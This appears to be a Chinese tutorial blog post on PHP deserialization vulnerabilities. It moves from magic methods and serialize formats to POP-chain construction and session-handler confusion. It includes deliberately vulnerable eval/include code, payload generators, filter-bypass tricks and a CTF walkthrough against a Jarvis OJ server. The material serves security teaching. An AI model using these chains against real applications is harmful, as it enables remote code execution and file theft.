复制代码

3. php反序列化从入门到放弃(入门篇)

Hvv期间爆出来一个漏洞:Yii框架反序列化RCE利用链。php反序列化已经从最开始的CTF宠儿,到现在框架的pop利用链构造,利用方式也越来越多样化。遂来系统性的学习一下php反序列化,本系列文章会从php反序列化漏洞的基础开始(入门篇),结合一些cms实例来学习pop利用链的构造,最后对Yii框架反序列化RCE利用链漏洞进行分析(放弃篇)。

php反序列化基础

php类与对象

类是定义一系列属性和操作的模板,而对象,就是把属性进行实例化,完事交给类里面的方法,进行处理。

<?php
class people{
   //定义类属性(类似变量),public 代表可见性(公有)
    public $name = 'joker';
   //定义类方法(类似函数)
   public function smile(){
        echo $this->name." is smile...\n";
   }
}

$psycho = new people(); //根据people类实例化对象
$psycho->smile();
?>

上述代码定义了一个people类,并在在类中定义了一个public类型的变量\$name和类方法smile。然后实例化一个对象\$psycho,去调用people类里面的smile方法,打印出结果。

这就是php类与对象最基础的使用。

魔术方法

为什么被称为魔法方法呢?因为是在触发了某个事件之前或之后,魔法函数会自动调用执行,而其他的普通函数必须手动调用才可以执行。PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。下表为php常见的魔术方法:

方法名 作用
__construct 构造函数,在创建对象时候初始化对象,一般用于对变量赋初值
__destruct 析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用
__toString 当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法
__wakeup() 使用unserialize时触发,反序列化恢复对象之前调用该方法
__sleep() 使用serialize时触发 ,在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化)
__destruct() 对象被销毁时触发
__call() 在对象中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性)
__set() 在给不可访问属性赋值时,即在调用私有属性的时候会自动执行
__isset() 当对不可访问属性调用isset()或empty()时触发
__unset() 当对不可访问属性调用unset()时触发
__invoke() 当脚本尝试将对象调用为函数时触发

额外提一下__tostring的具体触发场景:

(1)  echo(\$obj) / print(\$obj) 打印时会触发

(2) 反序列化对象与字符串连接时

(3) 反序列化对象参与格式化字符串时

(4) 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

(5) 反序列化对象参与格式化SQL语句,绑定参数时

(6) 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时

(7) 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8) 反序列化的对象作为 class_exists() 的参数的时候

举个例子:

<?php
    class animal {
        private $name = 'caixukun';

        public function sleep(){
            echo "<hr>";
            echo $this->name . " is sleeping...\n";
        }
        public function __wakeup(){
            echo "<hr>";
            echo "调用了__wakeup()方法\n";
        }
        public function __construct(){
            echo "<hr>";
            echo "调用了__construct()方法\n";
        }
        public function __destruct(){
            echo "<hr>";
            echo "调用了__destruct()方法\n";
        }
        public function __toString(){
            echo "<hr>";
            echo "调用了__toString()方法\n";
        }
        public function __set($key, $value){
            echo "<hr>";
            echo "调用了__set()方法\n";
        }
        public function __get($key) {
            echo "<hr>";
            echo "调用了__get()方法\n";
        }
    }
    
    $ji = new animal();
    $ji->name = 1;
    echo $ji->name;
    $ji->sleep();
    $ser_ji = serialize($ji);
    //print_r($ser_ji);
    print_r(unserialize($ser_ji))
?>

php序列化/反序列化

在开发的过程中常常遇到需要把对象或者数组进行序列号存储,反序列化输出的情况。特别是当需要把数组存储到mysql数据库中时,我们时常需要将数组进行序列号操作。

php序列化(serialize):是将变量转换为可保存或传输的字符串的过程

php反序列化(unserialize):就是在适当的时候把这个字符串再转化成原来的变量使用

这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。

常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。 

序列化

举个序列化小栗子:

<?php
class object{
    public $team = 'joker';
    private $team_name = 'hahaha';
    protected $team_group = 'biubiu';

    function hahaha(){
        $this->$team_members = '奥力给';
    }
}
$object = new object();
echo serialize($object);
?>

以上是序列化之后的结果,o代表是一个对象,6是对象object的长度,3的意思是有三个类属性,后面花括号里的是类属性的内容,s表示的是类属性team的类型,4表示类属性team的长度,后面的以此类推。值得一提的是,类方法并不会参与到实例化里面

需要注意的是变量受到不同修饰符(public,private,protected)修饰进行序列化时,序列化后变量的长度和名称会发生变化。

  • 使用public修饰进行序列化后,变量$team的长度为4,正常输出。
  • 使用private修饰进行序列化后,会在变量$team_name前面加上类的名称,在这里是object,并且长度会比正常大小多2个字节,也就是9+6+2=17
  • 使用protected修饰进行序列化后,会在变量$team_group前面加上*,并且长度会比正常大小多3个字节,也就是10+3=13

通过对比发现,在受保护的成员前都多了两个字节,受保护的成员在序列化时规则:

1. 受Private修饰的私有成员,序列化时: \x00 +  [私有成员所在类名]  + \x00 [变量名]

 

2. 受Protected修饰的成员,序列化时:\x00 + * + \x00 + [变量名]

 

其中,"\x00"代表ASCII为0的值,即空字节," * " 必不可少。

序列化格式中的字母含义:

a - array                    b - boolean  
d - double                   i - integer
o - common object            r - reference
s - string                   C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

反序列化

反序列化的话,就依次根据规则进行反向复原。

这边定义一个字符串,然后使用反序列化函数unserialize进行反序列化处理,最后使用var_dump进行输出:

<?php
    $ser = 'O:6:"object":3:{s:1:"a";i:1;s:4:"team";s:6:"hahaha";}';
    $ser = unserialize($ser);
    var_dump($ser);
?>

php反序列化漏洞(对象注入)

在反序列化过程中,其功能就类似于创建了一个新的对象(复原一个对象可能更恰当),并赋予其相应的属性值。如果让攻击者操纵任意反序列数据, 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。

挖掘反序列化漏洞的条件是:

  1. 代码中有可利用的类,并且类中有__wakeup(),__sleep(),__destruct()这类特殊条件下可以自己调用的魔术方法。

 

  2. unserialize()函数的参数可控。

php对象注入示例一:

<?php
class A{
    var $test = "demo";
    function __destruct(){
        @eval($this->test);
    }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$p = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($p); // 反序列化同时触发_destruct函数
?>

 如上代码,最终的目的是通过调用__destruct()这个析构函数,将恶意的payload注入,导致代码执行。根据上面的魔术方法的介绍,当程序跑到unserialize()反序列化的时候,会触发__destruct()方法,同时也可以触发__wakeup()方法。但是如果想注入恶意payload,还需要对$test的值进行覆盖,题目中已经给出了序列化链,很明显是对类A的$test变量进行覆盖。

可以看到当我们传入的参数为 phpinfo()

这样的话在调用__destruct方法执行eval之前就把变量$test的值替换成恶意payload。

php对象注入示例二:

这是来自bugku的一道题。题目地址

index.php

<?php 
$txt = $_GET["txt"]; 
$file = $_GET["file"]; 
$password = $_GET["password"]; 
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf"))
{ 
    echo "hello friend!<br>"; 
    if(preg_match("/flag/",$file))
    { 
       echo "不能现在就给你flag哦"; 
       exit(); 
    }
    else
    { 
       include($file); 
       $password = unserialize($password); 
       echo $password; 
    } 
}
else
{ 
       echo "you are not the number of bugku ! "; 
} 
?>

hint.php

<?php  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
            return ("good");
        }  
    }  
}  
?>

hint.php文件中使用了魔术方法__tostring()方法,当一个对象被当作一个字符串被调用时即可触发,方法的主要作用是读取并打印传进来的$file,估计是通过反序列化漏洞来读取flag.php的内容。追踪以下调用链,在index.php文件中发现使用echo将反序列化的对象当作字符串打印,此处就会触发__tostring()方法,并且unserialize()内的变量可控,满足反序列化漏洞条件。直接构造payload:(关于使用php://filter进行任意文件的读取,参照p牛:《谈一谈php://filter的妙用》)

php对象注入示例三:

<?php
class test{
    var $test = '123';
    function __wakeup(){
        $fp = fopen("flag.php","w");
        fwrite($fp,$this->test);
        fclose($fp);
    }
}
$a = $_GET['id'];
print_r($a);
echo "</br>";
$a_unser = unserialize($a);
require "flag.php";
?>            

如上代码主要通过调用魔术方法__wakeup$test的值写入flag.php文件中,当调用unserialize()反序列化操作时会触发__wakeup魔术方法,接下来就需要构造传进去的payload,先生成payload:

<?php
class test{
    var $test = "<?php phpinfo(); ?>";
}
$test = new test();
echo serialize($test);
?>

传入payload:

在执行unserialize()方法时会触发__wakeup()方法执行,将传入的字符串反序列化后,会替换掉test类里面$test变量的值,将php探针写入flag.php文件中,并通过下面的require引用,导致命令执行。

php反序列化利用—POP链构造

上面的两个例子都是基于 " 自动调用 " 的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过 " 自动调用 " 来达到目的了。这时我们需要去寻找相同的函数名,把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的,层层递进,最终去构造出一个有杀伤力的payload。

POP链简介

1. POP 面向属性编程(Property-Oriented Programing)

常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的  " gadget " 找到漏洞点。

2. POP CHAIN

把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。

POP链利用技巧

1. 一些有用的POP链中出现的方法:

- 命令执行:exec()、passthru()、popen()、system()
- 文件操作:file_put_contents()、file_get_contents()、unlink()
- 代码执行:eval()、assert()、call_user_func()

2. 反序列化中为了避免信息丢失,使用大写S支持字符串的编码。

PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:
s:4:"user"; -> S:4:"use\72";

3. 深浅copy

在php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。
$A = &$B; 

4. 利用PHP伪协议

配合PHP伪协议实现文件包含、命令执行等漏洞。如glob:// 伪协议查找匹配的文件路径模式。

POP链构造小例子一

<?php
class main {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new normal();
    }

    function __destruct() {
        $this->ClassObj->action();
    }
}

class normal {
    function action() {
        echo "hello bmjoker";
    }
}

class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}
//$a = new main();
unserialize($_GET['a']);
?>

如上代码,危险的命令执行方法eval不在魔术方法中,在evil类中。但是魔术方法__construct()是调用normal类,__destruct()在程序结束时会去调用normal类中的action()方法。而我们最终的目的是去调用evil类中的action()方法,并伪造evil类中的变量$data,达成任意代码执行的目的。这样的话可以尝试去构造POP利用链,让魔术方法__construct()去调用evil这个类,并且给变量$data赋予恶意代码,比如php探针phpinfo(),这样就相当于执行<?php eval("phpinfo();")?>。尝试构造payload:

编写我们想要执行的效果,然后进行序列化。

但是由于$ClassObjprotected类型修饰,$dataprivate类型修饰,在序列化的时候,多出来的字节都被\x00填充,需要进行在代码中使用urlencode对序列化后字符串进行编码,否则无法复制解析。

最后payload为:

O%3A4%3A%22main%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

POP链构造小例子二

<?php
class MyFile {
    public $name;
    public $user;
    public function __construct($name, $user) {
        $this->name = $name;
        $this->user = $user; 
    }
    public function __toString(){
        return file_get_contents($this->name);
    }
    public function __wakeup(){
        if(stristr($this->name, "flag")!==False) 
            $this->name = "/etc/hostname";
        else
            $this->name = "/etc/passwd"; 
        if(isset($_GET['user'])) {
            $this->user = $_GET['user']; 
        }
    }
    public function __destruct() {
        echo $this; 
    }
}
if(isset($_GET['input'])){
    $input = $_GET['input']; 
    if(stristr($input, 'user')!==False){
        die('Hacker'); 
    } else {
        unserialize($input);
    }
}else { 
    highlight_file(__FILE__);
}

像如上代码比较复杂的可以先定位魔术方法与漏洞触发点。在代码中发现__toString()魔术方法调用了file_get_contents()来读取变量$name的数据。当程序执行结束或者变量销毁时就会自动调用析构函数__destruct()使用echo输出变量,__toString()方法在此时会被自动调用。关键在于如果能控制变量$name,就可以造成任意文件读取漏洞。但是通读代码发现前端传入的可控数据只有变量$user,并且传入的$user还不能包含 "user" 子符串。解决方法:

  1. $input 前端传进来的参数不允许包含"user"字段,可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用16进制即可绕过

  2. $name字段不可控,$user字段可控,可以使用浅copy来实现赋值。

尝试构造payload:

<?php
class MyFile {
    public $name = '/etc/hosts';
    public $user = '';
}
$a = new MyFile();
$a->name = &$a->user;
$b = serialize($a);
$b = str_replace("user", "use\\72", $b);
$b = str_replace("s", "S", $b);
var_dump($b);
?>

一般POP链都是反着程序来生成,将我们要实现的代码序列化,传入程序进行反序列化 ,就可以让程序按照我们的想法执行。

如上代码我们的目的是去操控$name的值,但事实只有$user的值可控,所以采取浅copy:$a->name = &$a->user。当变量$user改变时,变量$name也会跟着改变(其实就是指针指向的问题)。这样就可以通过控制变量$user的值来控制$name的值。紧接着下面两个str_replace目的是在序列化内容中用大写S表示字符串,这个字符串就支持将后面的字符串用16进制表示,就可以绕过代码中对用户输入"user" 字符串的检测。尝试执行payload:

传入user=D://1.txt,就相当于替换$this->name的值,成功读取文件。

POP链构造小例子三

这个小例子来自于《PHP反序列化由浅入深》,这个例子有点意思。

<?php
class start_gg
{
    public $mod1;
    public $mod2;
    public function __destruct()
    {
        $this->mod1->test1();
    }
}
class Call
{
    public $mod1;
    public $mod2;
    public function test1()
    {
        $this->mod1->test2();
    }
}
class funct
{
    public $mod1;
    public $mod2;
    public function __call($test2,$arr)
    {
        $s1 = $this->mod1;
        $s1();
    }
}
class func
{
    public $mod1;
    public $mod2;
    public function __invoke()
    {
        $this->mod2 = "字符串拼接".$this->mod1;
    } 
}
class string1
{
    public $str1;
    public $str2;
    public function __toString()
    {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag
{
    public function get_flag()
    {
        echo "flag:xxxxxxxxxxxx";
    }
}
$a = $_GET['string'];
unserialize($a);
?>

最后的目的是获取flag,也就是需要调用GetFlag类中的get_flag方法。这是一个类的普通方法。要让这个方法执行,需要构造一个POP链。

1. string1中的__tostring存在$this->str1->get_flag(),分析一下要自动调用__tostring()需要把类string1当成字符串来使用,因为调用的是参数str1的方法,所以需要把str1赋值为类GetFlag的对象。

$this->str1 = new GetFlag()

2. 发现类func中存在__invoke方法执行了字符串拼接,需要把func当成函数使用自动调用__invoke然后把$mod1赋值为string1的对象与$mod2拼接。

$this->mod1 = new string1()   这样的话在字符串拼接的时候就会触发魔术方法__toString()

3. 在funct中找到了函数调用,需要把mod1赋值为func类的对象,又因为函数调用在__call方法中,且参数为$test2,即无法调用test2方法时自动调用 __call方法;

$this->mod1 = new func()   将func类作为函数调用就会触发魔术方法__invoke()

4. 在Call中的test1方法中存在$this->mod1->test2();,需要把$mod1赋值为funct的对象,让__call自动调用。

$this->mod1 = new funct()    因为$test2()方法不存在,当$this->mod1调用的时候会触发魔术方法__call()

5. 查找test1方法的调用点,在start_gg中发现$this->mod1->test1();,把$mod1赋值为Call类的对象,等待__destruct()自动调用。这个程序的起点就在这里

$this->mod1 = new Call()

这个例子有趣的地方是在于结合魔术方法来层层调用,根据上面的分析来构造payload:

<?php
class start_gg
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1 = new Call();  //把$mod1赋值为Call类对象
    }
    public function __destruct()
    {
        $this->mod1->test1();
    }
}
class Call
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1 = new funct();  //把 $mod1赋值为funct类对象
    }
    public function test1()
    {
        $this->mod1->test2();
    }
}

class funct
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1= new func();  //把 $mod1赋值为func类对象

    }
    public function __call($test2,$arr)
    {
        $s1 = $this->mod1;
        $s1();
    }
}
class func
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1= new string1();  //把 $mod1赋值为string1类对象

    }
    public function __invoke()
    {    
        $this->mod2 = "字符串拼接".$this->mod1;
    } 
}
class string1
{
    public $str1;
    public function __construct()
    {
        $this->str1= new GetFlag();  //把 $str1赋值为GetFlag类对象      
    }
    public function __toString()
    {    
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag
{
    public function get_flag()
    {
        echo "flag:"."xxxxxxxxxxxx";
    }
}
$b = new start_gg;  //构造start_gg类对象$b
echo urlencode(serialize($b));  //显示输出url编码后的序列化对象

输出payload后传参,成功执行get_flag():

POP链构造小例子四

<?php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
?>

通读代码,发现漏洞点在于可以通过调用Modifier类中的include方法造成任意文件包含漏洞。这是一个类的普通方法,要让这个方法执行,需要构造一个POP链。

1. Modifier类中append方法被__invoke()调用,并传入$this->var参数。当类Modifier被当作函数调用的时候,会自动调用魔术方法__invoke()

最后在Test类的构造函数看到了$this->p,这里可以直接通过反序列化控制属性p的值,然后通过调用魔术方法__get()return一个p(),类被当作函数调用就可以触发魔术方法__invoke(),需要把p赋值为Modifier类的对象,$this->var可以传入想要包含的文件。

$this->p = new Modifier()

2. Test类中的魔术方法__get()是在读取不可访问属性的值时会被调用,发现Show类中的魔术方法__toString()访问了strsource属性,如果strTest类的对象,则不存在source属性,Test类的__get()魔术方法就会被调用。

$this->str = new Test()

3. Show类中的魔术方法__toString()是当一个对象被当作一个字符串被调用。发现Show类的构造方法__construct()使用echo输出字符串,如果$this->source指向一个对象,就会调用__toString()方法。

$a = new Show();
$this->source = $a;

最终的调用链如下:

include <-- Modifier::__invoke() <-- Test::__get() <-- Show::__toString()

尝试构造payload:

<?php
class Modifier {
    protected  $var = "D://1.txt";
    }
 
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
}
 
class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }
}
 
$a = new Show();
$a->source = $a;
$a->str = new Test();
echo urlencode(serialize($a));
?>

输出payload后传参,成功执行:

PHP Session反序列化

以下内容参考自《带你走进PHP session反序列化漏洞

PHP Session

session请求过程

当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。

session_start的作用

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie

整个流程大概如上所述,也可参考下述流程图:

Session存储机制

PHP中的Session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的,文件的内容就是Session值的序列化之后的内容。

先来大概了解一下PHP Session在php.ini中主要存在以下配置项:

Directive 含义
session.save_handler 设定用户自定义session存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)。默认为files
session.save_path 设置session的存储路径,默认在/tmp
session.serialize_handler 定义用来序列化/反序列化的处理器名字。默认使用php
session.auto_start 指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.upload_progress.enabed 将上传文件的进度信息存储在session中。默认开启
session.upload_progress.cleanup 一旦读取了所有的POST数据,立即清除进度信息。默认开启

在PHP中Session有三种序列化的方式,分别是php,php_serialize,php_binary,不同的引擎所对应的Session的存储的方式不同

存储引擎 存储方式
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值
php 键名 + 竖线 + 经过 serialize() 函数序列处理的值
php_serialize (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组

下面通过小例子来展示一下存储方式的不同:

php处理器:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['username'] = $_GET['username'];
?>

序列化的结果为:username|s:7:"bmjoker";

文件名为 sess_ck17sapjdvffchabcgp2suji96,其中ck17sapjdvffchabcgp2suji96为当前会话的sessionid

Session文件内容为:$_SESSION['username']的键名 + | + GET参数经过serialize序列化后的值

php_binary处理器

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['username'] = $_GET['user'];
?>

序列化的结果为:usernames:7:"bmjoker";

文件名为 sess_ck17sapjdvffchabcgp2suji96,其中ck17sapjdvffchabcgp2suji96为当前会话的sessionid

Session文件内容为:键名的长度对应的 ASCII 字符 + $_SESSION['username']的键名 + GET参数经过serialize序列化后的值

php_serialize处理器

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
?>

序列化的结果为:a:1:{s:8:"username";s:7:"bmjoker";}

文件名为 sess_ck17sapjdvffchabcgp2suji96,其中ck17sapjdvffchabcgp2suji96为当前会话的sessionid

Session文件内容为:GET参数经过serialize序列化后的值

Session反序列化漏洞

PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化,PHP中的Session的实现是没有的问题的,漏洞主要是由于使用不同的引擎来处理session文件造成的。

存在对$_SESSION变量赋值

php引擎存储Session的格式为

php 键名 + 竖线 + 经过 serialize() 函数序列处理的值
php_serialize (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组

如果程序使用两个引擎来分别处理的话就会出现问题。比如下面的例子,先使用php_serialize引擎来存储Session:

Session1.php

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>

接下来使用php引擎来读取Session文件

Session2.php

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class user{
    var $name;
    var $age;
    function __wakeup(){
        echo "hello ".$this->name." !"
    }
}
?>

漏洞的主要原因在于不同的引擎对于竖杠' | '的解析产生歧义。

对于php_serialize引擎来说| '可能只是一个正常的字符;但对于php引擎来说' | '就是分隔符,前面是$_SESSION['username']的键名后面是GET参数经过serialize序列化后的值。从而在解析的时候造成了歧义,导致其在解析Session文件时直接对' | '后的值进行反序列化处理。

可能有的人看到这里会有疑问,在使用php引擎读取Session文件时,为什么会自动对' | '后面的内容进行反序列化呢?也没看到反序列化unserialize函数。

这是因为使用了session_start()这个函数 ,看一下官方说明:https://www.php.net/session_start/

可以看到PHP能自动反序列化数据的前提是,现有的会话数据是以特殊的序列化格式存储

明白了漏洞的原理,也了解了反序列化漏洞的位置,现在来构造payload:

<?php
    class user{
        var $name;
        var $age;
    }
    $a = new user();
    $a->name = "bmjoker";
    $a->age = "888";
    echo serialize($a);
?>

如上生成的payload如果想利用php引擎读取Session文件时对' | '解析产生的反序列化漏洞,需要在payload前加个' | ',这个时候经过php_serialize引擎存储就会变成:

这个使用如果使用php引擎去读取

直接访问Session2.php文件:

成功触发了user类的魔术方法__wakeup(),结合POP反序列化链就可以造成一些其他的漏洞。

但这种方法是在可以对$_SESSION进行赋值的情况下实现的,那如果代码中不存在对$_SESSION变量赋值的情况下又该如何利用?

不存在对$_SESSION变量赋值

在PHP中还存在一个upload_process机制,即自动在$_SESSION中创建一个键值对(key:value),value中刚好存在用户可控的部分,可以看下官方描述的,这个功能在文件上传的过程中利用session实时返回上传的进度。

更多细节请参考:http://php.net/manual/zh/session.upload-progress.php

从上面的大概描述大概得知此漏洞需要session.upload_progress.enabled为on,在上传文件的时候同时POST一个与session.upload_process.name的同名变量。后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件,从中取出这个键。所以漏洞的根本原因还是使用了不同的Session处理引擎。

来看一道Jarvis OJ 平台的 PHPINFO 题目

环境地址:http://web.jarvisoj.com:32784/

index.php

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

通过index.php代码可以得知:

  1. 是使用php的引擎来读取Session。

  2. 如果存在GET方式传递进来的参数,就实例化Oowo类的对象,就会自动调用构造函数__construct(),将phpinfo()赋值给变量$mdzz,在程序结束的时候调用析构函数__destruct()通过eval执行$mdzz,说白了就是随便传一个参数,就可以看到php探针。

通过读取php探针文件发现了两个比较重要的信息:

  1. 默认的Session存储引擎为php_serialize,但是index.php告诉我们Session读取使用的是php引擎,因为反序列化和序列化使用的处理器不同,由于格式的原因会导致数据无法正确反序列化,那么就可以通过构造伪造任意数据。

  2. index.php代码中虽然没有对$_SESSION变量赋值,但是session.upload_progress.enabled 为 On。符合使用upload_process机制对变量$_SESSION赋值,并结合上面的Session反序列化来构造利用。

session.upload_progress.namePHP_SESSION_UPLOAD_PROGRESS,可以本地创建 up_sess.html,一个向 index.php 提交 POST 请求的表单文件,其中包括PHP_SESSION_UPLOAD_PROGRESS 变量。

up_sess.html

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" / >
    <input type="submit" />
</form>

接下来构造序列化payload来读取flag:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
    public $mdzz='print_r(scandir(dirname(__FILE__)));';

}
$obj = new OowoO();
echo serialize($obj);
?>

其中print_r(scandir(dirname(__FILE__)));用来打印当前文件绝对路径目录中的文件和目录的数组

接下来就要通过不同引擎的差异解析来构造反序列化payload,只需要在前面加上' | ',这样通过php引擎反序列化' | '后半部分,就可以打印出目录中的文件数组:

|O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

在文件上传的时候使用burp抓包,在 PHP_SESSION_UPLOAD_PROGRESS 的 value 值中添加' | '和序列化的字符串

查看根目录文件:

发现flag文件与index.php文件在同一目录下,查看根目录路径:

读取flag文件:

Session反序列化POP链构造

注:以下例子在本地搭建,需要在php.ini中对以下选项进行配置:

session.auto_start = Off
session.serialize_handler = php_serialize
session.upload_progress.cleanup = 0ff

session.auto_start = on 表示PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()

session.serialize_handler = php_serialize 表示默认使用php_serialize引擎进行存储。

session.upload_progress.cleanup = On 导致文件上传后,Session文件内容立即清空,这个时候就需要利用时间竞争,在Session文件内容清空前进行包含利用。

前期为了演示反序列化效果,暂时将这个选项关闭Off,后面会打开来展示利用条件竞争Session反序列化rce。

class.php

<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));            
//show_source(__FILE__);    
class foo1{
    public $varr;
    function __construct(){
        $this->varr = "index.php";
    }
    function __destruct(){
        if(file_exists($this->varr)){
            echo "<br>文件".$this->varr."存在<br>";
        }
        echo "<br>这是foo1的析构函数<br>";
    }
}
    
class foo2{
    public $varr;
    public $obj;
    function __construct(){
        $this->varr = '1234567890';
        $this->obj = null;
    }
    function __toString(){                    //    类被当作字符串时被调用
        $this->obj->execute();
        return $this->varr;
    }
    function __desctuct(){
        echo "<br>这是foo2的析构函数<br>";
    }
}
    
class foo3{
    public $varr;
    function execute(){
        eval($this->varr);
    }
    function __desctuct(){
        echo "<br>这是foo3的析构函数<br>";
    }
}
    
?>

index.php

<?php
ini_set('session.serialize_handler', 'php');
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>

通读class.php文件,发现漏洞点在于可以通过调用foo3类中的eval方法造成命令执行漏洞。这是一个类的普通方法,要让这个方法执行,需要构造一个POP链。

